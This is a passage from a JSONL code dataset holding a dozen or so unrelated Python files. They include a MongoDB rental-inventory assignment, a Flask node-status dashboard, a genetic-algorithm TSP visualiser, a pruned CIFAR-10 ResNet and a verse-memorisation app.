len(batch), const.WIN_SIZE):\n label_CBOW.append(batch[i])\n context_CBOW.append([l[0] for l in labels[i:i + const.WIN_SIZE]])\n return np.array(context_CBOW), np.array(label_CBOW).reshape(batch_size // const.WIN_SIZE, 1)\n\n # @input sentence [w1, w2, ... , wn]\n def var_sentence(self, sentence):\n idxs = list(map(lambda w: self.word2idx[w] if w in self.vocab else self.word2idx[const.U_TOKEN], sentence))\n return idxs\n\n # @input word\n def var_word(self, word):\n idx = [self.word2idx[const.U_TOKEN]]\n if word in self.word2idx:\n idx = [self.word2idx[word]]\n return idx\n","sub_path":"word2vec/cbow/pytorch/softmax/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"633961642","text":"import decimal\nfrom dateutil.parser import parse\nfrom optparse import OptionValueError\nfrom django.contrib.humanize.templatetags import humanize\nfrom django.utils import timezone\n\n\nclass FormattingHelpers(object):\n\n @staticmethod\n def price(price):\n return u'${0}'.format(\n humanize.intcomma(\n decimal.Decimal(price).quantize(\n decimal.Decimal('0.00'))))\n\n @staticmethod\n def hours(time):\n return u'{0}'.format(\n time.quantize(\n decimal.Decimal('0.00'),\n rounding=decimal.ROUND_UP))\n\n @staticmethod\n def verify_input_date(option, opt, value, parser):\n try:\n setattr(parser.values,\n option.dest,\n parse(value,\n yearfirst=True).replace(\n tzinfo=timezone.get_default_timezone()))\n except Exception:\n raise OptionValueError('invalid date format, must be yyyy-mm-dd')\n if (getattr(parser.values,\n option.dest) >= timezone.now().replace(hour=0,\n minute=0,\n second=0,\n microsecond=0)):\n raise OptionValueError('date must be in the past')\n","sub_path":"project_billing/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"275347000","text":"from debugsqlalchemy import db\nfrom models import Person, Pet\ndb.drop_all()\ndb.create_all()\nkathiravan = Person(name=\"Kathiravan\")\ndb.session.add(kathiravan)\ndb.session.commit()\nmichelle = Person(name=\"Michelle\")\ndb.session.add(michelle)\ndb.session.commit()\n\njhujhu = Pet(name=\"JhuJhu\", owner=kathiravan)\nbabblu = Pet(name='Bablu', owner=kathiravan)\n\nspot = Pet(name=\"Spot\", owner = michelle)\ndb.session.commit()","sub_path":"sqlalchemy-relationships/setup_debugsqlalchemy.py","file_name":"setup_debugsqlalchemy.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"172822253","text":"#!/usr/bin/env python\nfrom unittest import main, TestCase\nfrom assert_is import not_, ok_\nfrom datetimecls import datetimecls \n\nclass Test(TestCase):\n def test_today(self):\n td=datetimecls.now()\n not_(td.yesterday)\n ok_(td.today)\n not_(td.tomorrow)\n\nif __name__ == \"__main__\": # pragma: no cover\n main()","sub_path":"tests/test_today.py","file_name":"test_today.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"46024789","text":"#Tim Pauley\n#Assignment 05, \n#Feb 10 2019\n#Update Feb 20 2019\n\n'''\nAssignment Description\n\nRequirements:\n\n1. As a HP Norton customer I want to see a list of all products available for \nrent so that I can make a rental choice.\n\n2. As a HP Norton salesperson I want to see a list of all of the different \nproducts, showing product ID, description, product type and quantity \navailable.\n\n3. As a HP Norton salesperson I want to see a list of the names and contact\ndetails (address, phone number and email) of all customers who have \nrented a certain product.\n\nHere is what you need to do:\n\n1. Create a product database with attributes that reflect the contents of the \ncsv file.\n\n2. Import all data in the csv files into your MongoDB implementation.\n\n3. Write queries to retrieve the product data.\n\n4. Write a query to integrate customer and product data.\n'''\n\n\"\"\"\nLesson 05 Assignment\nMongoDB\n\"\"\"\n\nimport csv\nimport os\nimport pymongo\n\n# pylint: disable-msg=line-too-long\n# pylint: disable-msg=invalid-name\n# pylint: disable-msg=redefined-outer-name\n\n\nclass MongoDBConnection:\n \"\"\"\n Creates a MongoDB Connection\n \"\"\"\n def __init__(self, host='127.0.0.1', port=27017):\n self.host = host\n self.port = port\n self.connection = None\n\n def __enter__(self):\n self.connection = pymongo.MongoClient(self.host, self.port)\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.connection.close()\n\n\ndef print_mdb_collection(collection_name):\n \"\"\"\n Prints documents in a collection.\n :param collection_name: collection\n :return:\n \"\"\"\n for doc in collection_name.find():\n print(doc)\n\n\ndef _import_csv(filename):\n \"\"\"\n Returns a list of dictionaries. One dictionary for each row of data in a csv file.\n :param filename: csv file\n :return: list of dictionaries\n \"\"\"\n\n with open(filename, newline=\"\") as csvfile:\n dict_list = []\n\n csv_data = csv.reader(csvfile)\n\n headers = next(csv_data, None) # Save the first line as the headers\n\n if headers[0].startswith(\"\"): # Check for weird formatting\n headers[0] = headers[0][3:]\n\n for row in csv_data:\n row_dict = {}\n\n for index, column in enumerate(headers):\n row_dict[column] = row[index]\n\n dict_list.append(row_dict)\n\n return dict_list\n\n\ndef _add_bulk_data(collection, directory_name, filename):\n file_path = os.path.join(directory_name, filename)\n\n try:\n collection.insert_many(_import_csv(file_path), ordered=False)\n return 0\n\n except pymongo.errors.BulkWriteError as bwe:\n print(bwe.details)\n return len(bwe.details[\"writeErrors\"])\n\n\ndef import_data(db, directory_name, products_file, customers_file, rentals_file):\n \"\"\"\n Takes a directory name and three csv files as input. Creates and populates a new MongoDB.\n :param db: MongoDB\n :param directory_name: directory name for files. Use \"\" for current directory.\n :param products_file: csv file with product data\n :param customers_file: csv file with customer data\n :param rentals_file: csv file with rentals data\n :return: Tuple with record count for products, customers, rentals added (in that order) and\n tuple with count of errors that occurred for products, customers, rentals (in that order).\n \"\"\"\n\n products = db[\"products\"]\n products_errors = _add_bulk_data(products, directory_name, products_file)\n\n customers = db[\"customers\"]\n customers_errors = _add_bulk_data(customers, directory_name, customers_file)\n\n rentals = db[\"rentals\"]\n rentals_errors = _add_bulk_data(rentals, directory_name, rentals_file)\n\n record_count = (db.products.count_documents({}), db.customers.count_documents({}), db.rentals.count_documents({}))\n\n error_count = (products_errors, customers_errors, rentals_errors)\n\n return record_count, error_count\n\n\ndef show_available_products(db):\n \"\"\"\n Returns a dictionary for each product listed as available.\n :param db: MongoDB\n :return: Dictionary with product_id, description, product_type, quantity_available.\n \"\"\"\n\n available_products = {}\n\n for product in db.products.find():\n if int(product[\"quantity_available\"]) > 0:\n\n product_dict = {\"description\": product[\"description\"],\n \"product_type\": product[\"product_type\"],\n \"quantity_available\": product[\"quantity_available\"]}\n\n available_products[product[\"product_id\"]] = product_dict\n\n return available_products\n\n\ndef show_rentals(db, product_id):\n \"\"\"\n Returns a dictionary with user information from users who have rented products matching the product_id.\n :param db: MongoDB\n :param product_id: product id\n :return: user_id, name, address, phone_number, email\n \"\"\"\n\n customer_info = {}\n\n for rental in db.rentals.find():\n if rental[\"product_id\"] == product_id:\n customer_id = rental[\"user_id\"]\n\n customer_record = db.customers.find_one({\"user_id\": customer_id})\n\n customer_dict = {\"name\": customer_record[\"name\"],\n \"address\": customer_record[\"address\"],\n \"phone_number\": customer_record[\"phone_number\"],\n \"email\": customer_record[\"email\"]}\n\n customer_info[customer_id] = customer_dict\n\n return customer_info\n\n\ndef clear_data(db):\n \"\"\"\n Delete data in MongoDB.\n :param db: MongoDB\n :return: Empty MongoDB.\n \"\"\"\n db.products.drop()\n db.customers.drop()\n db.rentals.drop()\n\n\nif __name__ == \"__main__\":\n mongo = MongoDBConnection()\n\n with mongo:\n print(\"Opening a MongoDB.\\n\")\n db = mongo.connection.media\n\n print(\"Importing data for products, customers, and rentals.\\n\")\n import_data(db, \"\", \"products.csv\", \"customers.csv\", \"rentals.csv\")\n\n print(\"Showing available products:\")\n print(show_available_products(db))\n\n print(\"\\nShowing rental information for prd005:\")\n print(show_rentals(db, \"prd005\"))\n\n print(\"\\nClearing data from database.\")\n clear_data(db)\n","sub_path":"students/TimPauley/session05/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":6217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"247033585","text":"from skimage.feature import local_binary_pattern\nfrom PIL import Image\nimport numpy as np\n\n# settings\nneighbors = 8 # ?\nradius = 2 # ?\nmethod = 'nri_uniform' # ?\nregions_num = [6, 10] # ? component-based\nface_size = [150, 170]\n\ndef lbp(filename):\n '''\n Extract the local binary pattern from image of filename\n :param filename: \n filename - the path to face image (detected, aligned and cropped)\n :return: \n feature - matrix where row is\n '''\n image = Image.open(filename).convert('L')\n imarray = np.array(image)\n\n # divide into regions\n [per_width, per_height] = [int(face_size[0]/regions_num[0]), int(face_size[1]/regions_num[1])]\n regions = [ imarray[r*per_height:(r+1)*per_height, c*per_width:(c+1)*per_width] for c in range(regions_num[0]) for r in range(regions_num[1])]\n\n patterns = [local_binary_pattern(region, neighbors, radius, method) for region in regions]\n\n bin_range = int(np.ceil(np.max(patterns)))\n hists = [ np.histogram(pattern.ravel(), bins=bin_range)[0] for pattern in patterns] # ? normalize\n return np.vstack(hists) # row - region , column - label","sub_path":"feature_extraction/LBP/LBP.py","file_name":"LBP.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"554014677","text":"# coding: UTF-8\nPOINT_SIZE = 10\nP_SIZE = 100\nQ_SIZE = 100\nSLEEP_SIZE = 0\nM_RATE = 0.05\n\nfrom Tkinter import *\nfrom random import Random\nimport my_module\nimport random\nimport time\nfrom math import sqrt\n\ndef numeric_compare(x,y):\n return int(my_module.distance(point_table,x)-my_module.distance(point_table,y))\n\npoint_table = []\npoint_table = [[100,300],[160,400],[600,130],[730,70],[130,600],[400,500],[800,300],[410,50],[90,190]]\n'''\nf = open('point_table.txt','r')\nfor line in f:\n line = line.strip()\n point = line.split(',')\n point[0] = int(point[0])\n point[1] = int(point[1])\n point_table.append(point)\n'''\nroot = Tk()\nc0 = Canvas(root, width=1000, height=1000)\nfor point in point_table:\n c0.create_oval(point[0]-POINT_SIZE/2, point[1]-POINT_SIZE/2, point[0]+POINT_SIZE/2, point[1]+POINT_SIZE/2, fill=\"red\")\n\ngeneration = 0\nr = Random()\np_path = []\nfor x in range(P_SIZE):\n c = range(len(point_table))\n r.shuffle(c)\n p_path.append(c)\n\nwhile True:\n generation += 1\n q_path = []\n for x in range(Q_SIZE):\n r1 = random.randint(0,P_SIZE-1)\n r2 = random.randint(0,P_SIZE-1)\n offspring = my_module.one_cross(my_module.order(p_path[r1]),my_module.order(p_path[r2]))\n q_path.append(my_module.path(offspring))\n\n for x in range(Q_SIZE):\n for gene in range(len(point_table)):\n ran = random.random()\n if ran < M_RATE:\n r1 = random.randint(0, len(point_table)-1)\n q_path[x][gene],q_path[x][r1] = q_path[x][r1],q_path[x][gene]\n\n pq_path = sorted(p_path+q_path, cmp=numeric_compare)\n p_path = []\n\n p_path.append(pq_path.pop(0))\n while len(p_path) <= P_SIZE:\n r1 = random.randint(0, len(pq_path)-1)\n r2 = random.randint(0, len(pq_path)-1)\n if r1 <= r2:\n p_path.append(pq_path.pop(r1))\n else:\n p_path.append(pq_path.pop(r2))\n\n time.sleep(SLEEP_SIZE)\n\n c0.create_text(200, 30, text = str(generation)+\"世代目:総距離\"+str(my_module.distance(point_table,p_path[0])), font = (\"FixedSys\",14), tags = \"lines\")\n\n for x in range(len(point_table)-1):\n c0.create_line(point_table[p_path[0][x]][0], point_table[p_path[0][x]][1],point_table[p_path[0][x+1]][0], point_table[p_path[0][x+1]][1], tags = \"lines\")\n\n c0.create_line(point_table[p_path[0][-1]][0], point_table[p_path[0][-1]][1],point_table[p_path[0][0]][0], point_table[p_path[0][0]][1], tags = \"lines\")\n c0.pack()\n c0.update()\n c0.delete(\"lines\")\n print(p_path[0])\n if generation == 100:\n break\nroot.mainloop()\n","sub_path":"ga.py","file_name":"ga.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"598618432","text":"import os\nclear = lambda: os.system('clear')\nclear()\n\nimport re\n\ndata = \"Hello, world!\"\nexp = \"Hello\"\nprint(data)\noutput = input('{} >>> '.format(exp))\nregex = re.compile(output)\nmo = regex.search(data).group()\nprint(mo)","sub_path":"lesson125.py","file_name":"lesson125.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"71722047","text":"from flask import Flask, render_template, url_for, request\nimport requests\n\napp = Flask('app2')\n\nkey_list = [\"id\", \"location\", \"alive\", \"lastupdate\"] # A list of keys of relevant incoming JSON data.\napi_url = 'http://127.0.0.1:4000' # The url of the Beehive API.\n\n\n@app.route('/')\ndef dashboard():\n \"\"\"\n\n Update Argument Parsing!\n\n This function is a route to the dashboard homepage, and calls all of the functions necessary for rendering the\n data table.\n :return: An HTML template that replaces a Jinja block with the HTML table generated in DASHTABLE.\n The DASHTABLE parameter in the return statement connects the Jinja block in 'dashboard.html' to the HTML\n generated in the DASHTABLE function.\n \"\"\"\n\n\n # http://127.0.0.1:5000/?location=chicago&status=alive\n location = str(request.args.get('location'))\n status = str(request.args.get('status'))\n table = dashtable(apirequest(api_url), location, status)\n # print(apirequest(\"http://10.10.10.137:7000/nodeApi\"))\n return render_template('dashboard.html', dashtable=table)\n\n\ndef apirequest(url):\n \"\"\"\n This function sends a request to an api, and then converts the received data into JSON.\n :param url: The url of the chosen api.\n :return: The received data in JSON format.\n \"\"\"\n req = requests.get(url)\n json_data = req.json()\n return json_data\n\n\ndef dashtable(data, argloc, argstat):\n \"\"\"\n\n Update new parameters!\n\n This function generates a table based on the data received from the api.\n The table headers must be updated manually to match any new figures.\n :param data: This is JSON data passed in the DASHBOARD function from the APIREQUEST function.\n :param argloc: location arg\n :param argstat: status arg\n :return: A string of HTML code that generates a readable table of data.\n \"\"\"\n\n print(argloc)\n print(argstat)\n testData = data\n tbl = []\n\n # This section generates the table headers.\n # This must be manually updated when new columns are to be introduced.\n tbl.append(\"\")\n tbl.append(\"Node ID\")\n tbl.append(\"Location\")\n tbl.append(\"Status\")\n tbl.append(\"Last Update\")\n tbl.append(\"\")\n\n # This section generates a table that has as many rows as there are nodes, and as many columns as there are elements\n # in the KEY_LIST variable instantiated at the top of the file.\n for i in testData:\n tbl.append(\"\")\n for j in key_list:\n if j == \"alive\":\n if i.get(j) == 0:\n tbl.append(\"\")\n tbl.append(\"Dead\")\n else:\n tbl.append(\"\")\n tbl.append(\"Alive\")\n else:\n tbl.append(\"\")\n tbl.append(str(i.get(j)))\n tbl.append(\"\")\n tbl.append(\"\")\n return ''.join(tbl) # This returns a single string of HTML code, which will produce the table.\n\n\n@app.route('/documentation')\ndef documentation():\n \"\"\"\n This route renders a template to an HTML documentation page.\n :return: HTML template for documentation page.\n \"\"\"\n return render_template('documentation.html')\n\n\n@app.route('/server')\ndef server():\n return render_template('serverdash.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=5000)\n","sub_path":"Waggle/app2/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"650871783","text":"import torch.nn as nn\nimport math\nimport torch.utils.model_zoo as model_zoo\nfrom torch.autograd import Variable\nimport torch\nimport time\n\n\n# 新剪枝的精简模型\n\n__all__ = ['ResNet_cifar10_small', 'resnet20_small', 'resnet32_small',\n 'resnet56_small', 'resnet110_small']\n\nmodel_urls = {\n 'resnet18': 'https://download.pytorch.org/models/resnet18-5c106cde.pth',\n 'resnet34': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',\n 'resnet50': 'https://download.pytorch.org/models/resnet50-19c8e357.pth',\n 'resnet101': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',\n 'resnet152': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',\n}\n\ndefault_cfg_cifar10 = {\n '18': [16, 16, 16, 16, 16, 32, 32, 32, 32, 64, 64, 64, 64],\n '20': [16, 16, 16, 16, 16, 16, 16, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64],\n '32': [16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 64, 64, 64, 64, 64, 64, 64, 64, 64, 64],\n '56': [16,\n 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64],\n '110': [16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,\n 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,\n 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64],\n}\n\n\ndef conv3x3(in_planes, out_planes, stride=1):\n \"3x3 convolution with padding\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=1, bias=False)\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self, inplanes, planes_before_prune, cfg,\n index, bn_value, stride=1,\n downsample=None, flag=False):\n super(BasicBlock, self).__init__()\n if flag:\n self.conv1 = conv3x3(planes_before_prune, cfg[0], stride)\n else:\n self.conv1 = conv3x3(inplanes, cfg[0], stride)\n self.bn1 = nn.BatchNorm2d(cfg[0])\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(cfg[0], cfg[1])\n self.bn2 = nn.BatchNorm2d(cfg[1])\n self.downsample = downsample\n self.stride = stride\n\n # for residual index match\n self.index = index\n # for bn add\n self.bn_value = bn_value\n self.planes_before_prune = planes_before_prune\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n # setting: without index match\n print(\"residual size{},out size{} \".format(residual.size(), out.size()))\n\n # setting: with index match\n if residual.device == torch.device('cpu'):\n residual = residual + self.bn_value\n residual.index_add_(1, self.index, out)\n else:\n residual = residual + self.bn_value.cuda()\n residual.index_add_(1, self.index.cuda(), out)\n\n residual = self.relu(residual)\n\n return residual\n\n\nclass Bottleneck(nn.Module):\n # expansion is not accurately equals to 4\n expansion = 4\n\n def __init__(self, inplanes, planes_before_prune, cfg,\n index, bn_value, stride=1,\n downsample=None):\n super(Bottleneck, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, cfg[0], kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm2d(cfg[0])\n self.conv2 = nn.Conv2d(cfg[0], cfg[1], kernel_size=3, stride=stride,\n padding=1, bias=False)\n self.bn2 = nn.BatchNorm2d(cfg[1])\n\n # setting: for accuracy expansion\n self.conv3 = nn.Conv2d(cfg[1], cfg[2], kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(cfg[2])\n\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n # for residual index match\n self.index = index\n # for bn add\n self.bn_value = bn_value\n\n def forward(self, x):\n residual = x\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n # setting: without index match\n print(\"residual size{},out size{} \".format(residual.size(), out.size()))\n\n # setting: with index match\n if residual.device == torch.device('cpu'):\n residual = residual + self.bn_value\n residual.index_add_(1, self.index, out)\n else:\n residual = residual + self.bn_value.cuda()\n residual.index_add_(1, self.index.cuda(), out)\n\n residual = self.relu(residual)\n\n return residual\n\n\nclass ResNet_cifar10_small(nn.Module):\n def __init__(self, block, index, bn_value, cfg, depth=20, num_classes=10):\n super(ResNet_cifar10_small, self).__init__()\n self.inplanes = 16\n # self.inplanes = cfg[0]\n self.cfg = cfg\n n = int((depth - 2) / 6)\n self.layer = [n, n, n]\n # self.conv1 = nn.Conv2d(3, cfg[0], kernel_size=3, stride=1, padding=1,\n # bias=False)\n # self.bn1 = nn.BatchNorm2d(cfg[0])\n self.conv1 = nn.Conv2d(3, 16, kernel_size=3, stride=1, padding=1,\n bias=False)\n self.bn1 = nn.BatchNorm2d(16)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = lambda x: x\n\n # setting: expansion may not accuracy equal to 4\n self.index_layer1 = {key: index[key] for key in index.keys() if 'layer1' in key}\n self.index_layer2 = {key: index[key] for key in index.keys() if 'layer2' in key}\n self.index_layer3 = {key: index[key] for key in index.keys() if 'layer3' in key}\n self.index_layer4 = {key: index[key] for key in index.keys() if 'layer4' in key}\n self.bn_layer1 = {key: bn_value[key] for key in bn_value.keys() if 'layer1' in key}\n self.bn_layer2 = {key: bn_value[key] for key in bn_value.keys() if 'layer2' in key}\n self.bn_layer3 = {key: bn_value[key] for key in bn_value.keys() if 'layer3' in key}\n self.bn_layer4 = {key: bn_value[key] for key in bn_value.keys() if 'layer4' in key}\n # print(\"bn_layer1\", bn_layer1.keys(), bn_layer2.keys(), bn_layer3.keys(), bn_layer4.keys())\n\n self.layer1 = self._make_layer(block, 16, n, cfg[1:2 * n + 1], self.index_layer1, self.bn_layer1, flag=True)\n self.layer2 = self._make_layer(block, 32, n, cfg[2 * n + 1: 4 * n + 1], self.index_layer2, self.bn_layer2, stride=2)\n self.layer3 = self._make_layer(block, 64, n, cfg[4 * n + 1: 6 * n + 1], self.index_layer3, self.bn_layer3, stride=2)\n self.layer4 = lambda x: x\n # if block == BasicBlock:\n # self.layer1 = self._make_layer(block, 64, layers[0], cfg[1: 2*layers[0]+1],\n # self.index_layer1, self.bn_layer1, flag=True)\n # self.layer2 = self._make_layer(block, 128, layers[1],\n # cfg[2*layers[0]+1: 2*(layers[0]+layers[1])+1],\n # self.index_layer2, self.bn_layer2, stride=2)\n # self.layer3 = self._make_layer(block, 256, layers[2],\n # cfg[2*(layers[0]+layers[1])+1: -2*layers[3]],\n # self.index_layer3, self.bn_layer3, stride=2)\n # self.layer4 = self._make_layer(block, 512, layers[3], cfg[-2*layers[3]:],\n # self.index_layer4, self.bn_layer4, stride=2)\n # else:\n # self.layer1 = self._make_layer(block, 64, layers[0], cfg[1: 3*layers[0]+1],\n # self.index_layer1, self.bn_layer1)\n # self.layer2 = self._make_layer(block, 128, layers[1], cfg[3*layers[0]+1: 3*(layers[0]+layers[1])+1],\n # self.index_layer2, self.bn_layer2, stride=2)\n # self.layer3 = self._make_layer(block, 256, layers[2], cfg[3*(layers[0]+layers[1])+1: -3*layers[3]],\n # self.index_layer3, self.bn_layer3, stride=2)\n # self.layer4 = self._make_layer(block, 512, layers[3], cfg[-3*layers[3]:],\n # self.index_layer4, self.bn_layer4, stride=2)\n\n self.avgpool = nn.AvgPool2d(8, stride=1)\n self.fc = nn.Linear(64 * block.expansion, num_classes)\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n\n def _make_layer(self, block, planes_before_prune, blocks, cfg,\n index, bn_layer, stride=1, flag=False):\n downsample = None\n if stride != 1 or self.inplanes != planes_before_prune * block.expansion:\n if block == Bottleneck or (block == BasicBlock and self.inplanes != self.cfg[0]):\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes, planes_before_prune * block.expansion,\n kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(planes_before_prune * block.expansion),\n )\n\n # setting: accu number for_construct expansion\n if block == BasicBlock:\n index_block_0_dict = {key: index[key] for key in index.keys() if '0.conv2' in key}\n index_block_0_value = list(index_block_0_dict.values())[0]\n else:\n index_block_0_dict = {key: index[key] for key in index.keys() if '0.conv3' in key}\n index_block_0_value = list(index_block_0_dict.values())[0]\n bn_layer_0_value = list(bn_layer.values())[0]\n layers = []\n if block == BasicBlock:\n layers.append(block(self.inplanes, planes_before_prune, cfg[0:2], index_block_0_value,\n bn_layer_0_value, stride, downsample, flag))\n else:\n layers.append(block(self.inplanes, planes_before_prune, cfg[0:3], index_block_0_value,\n bn_layer_0_value, stride, downsample))\n self.inplanes = planes_before_prune * block.expansion\n\n for i in range(1, blocks):\n if block == BasicBlock:\n index_block_i_dict = {key: index[key] for key in index.keys() if (str(i) + '.conv2') in key}\n index_block_i_value = list(index_block_i_dict.values())[0]\n\n bn_layer_i = {key: bn_layer[key] for key in bn_layer.keys() if (str(i) + '.bn2') in key}\n bn_layer_i_value = list(bn_layer_i.values())[0]\n layers.append(block(self.inplanes, planes_before_prune, cfg[2*i: 2*i+2],\n index_block_i_value,\n bn_layer_i_value,\n ))\n else:\n index_block_i_dict = {key: index[key] for key in index.keys() if (str(i) + '.conv3') in key}\n index_block_i_value = list(index_block_i_dict.values())[0]\n\n bn_layer_i = {key: bn_layer[key] for key in bn_layer.keys() if (str(i) + '.bn3') in key}\n bn_layer_i_value = list(bn_layer_i.values())[0]\n layers.append(block(self.inplanes, planes_before_prune, cfg[3*i: 3*i+3],\n index_block_i_value,\n bn_layer_i_value,\n ))\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n\n x = self.avgpool(x)\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n\n return x\n\n\ndef resnet20_small(pretrained=False, **kwargs):\n model = ResNet_cifar10_small(BasicBlock, depth=20, **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet18']))\n return model\n\n\ndef resnet32_small(pretrained=False, **kwargs):\n model = ResNet_cifar10_small(BasicBlock, depth=32, **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet34']))\n return model\n\n\ndef resnet56_small(pretrained=False, **kwargs):\n model = ResNet_cifar10_small(BasicBlock, depth=56, **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet50']))\n return model\n\n\ndef resnet110_small(pretrained=False, **kwargs):\n model = ResNet_cifar10_small(BasicBlock, depth=110, **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet101']))\n return model\n","sub_path":"pruning/models/resnet_cifar10_small.py","file_name":"resnet_cifar10_small.py","file_ext":"py","file_size_in_byte":13650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"645463125","text":"from model import train, get_model\nfrom utils import get_train_test\nfrom predict import predict\n\nprint('Welcome to Music Genre Detection\\n')\n\nexit = 0\n\nX_train,Y_train,x_test,y_test = get_train_test()\nprint(x_test.shape)\n\nwhile(1):\n\n choice = int(input('What would you like to do?\\n 1.Train the network\\n 2.Run Predictions on new songs\\n 3.Exit\\n'))\n\n if(choice ==1):\n\n print('Training the model\\n')\n model = get_model()\n train(X_train,Y_train,x_test,y_test,model)\n\n elif(choice==2):\n print('making predictions\\n')\n predict(x_test)\n\n elif(choice==3):\n break\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"254189071","text":"import os, sys\n\nfrom random import choice, shuffle\nfrom tkinter import *\nfrom tkinter import font, messagebox\nfrom pprint import pprint\n\nimport core.database_manager as dbManager\nimport core.setup_defaults as setupDefaults\n\nimport guis.welcome_screen as welcomeScreen\nimport guis.game_screen as gameScreen\nimport guis.quiz_game_screen as quizScreen\nimport guis.moodverses_screen as moodScreen\nimport guis.moodverses_subscreen as moodSubScreen\n\n\n\n\nclass Memorizer(Frame):\n \"\"\"docstring for Memorizer\"\"\"\n def __init__(self, master = None):\n Frame.__init__(self, master)\n self.master = master\n self.dbPath = \"core/main.db\"\n\n\n # Create Database if not Exists\n if not os.path.isfile(\"core/main.db\"):\n print(\"DB did not exist\")\n setupDefaults.setup()\n\n # Select Language\n self.verseTable = \"\"\n self.decoyWordsTable = \"\"\n self.questionsTable = \"\"\n self.verseRowIDs = []\n self.questionRowIDs = []\n self.moodTypes = []\n self.languageSelection()\n\n # Setup master grid\n root.grid_rowconfigure(1,weight=1)\n root.grid_columnconfigure(0, weight=1)\n\n self.font = font.Font(family=\"helvetica\", size=24)\n welcomeScreen.welcome_screen(self, root)\n\n\n def languageSelection(self):\n # Temp Variable\n langSel = \"eng\"\n\n if langSel == \"kor\":\n self.verseTable = \"DefaultKorean\"\n self.verseRowIDs = dbManager.getNumberOfRows(self.dbPath, self.verseTable)\n else:\n self.verseTable = \"DefaultEnglish\"\n self.questionsTable = \"QuizQuestions\"\n self.moodBoosterTable = \"MoodVerses\"\n self.verseRowIDs = 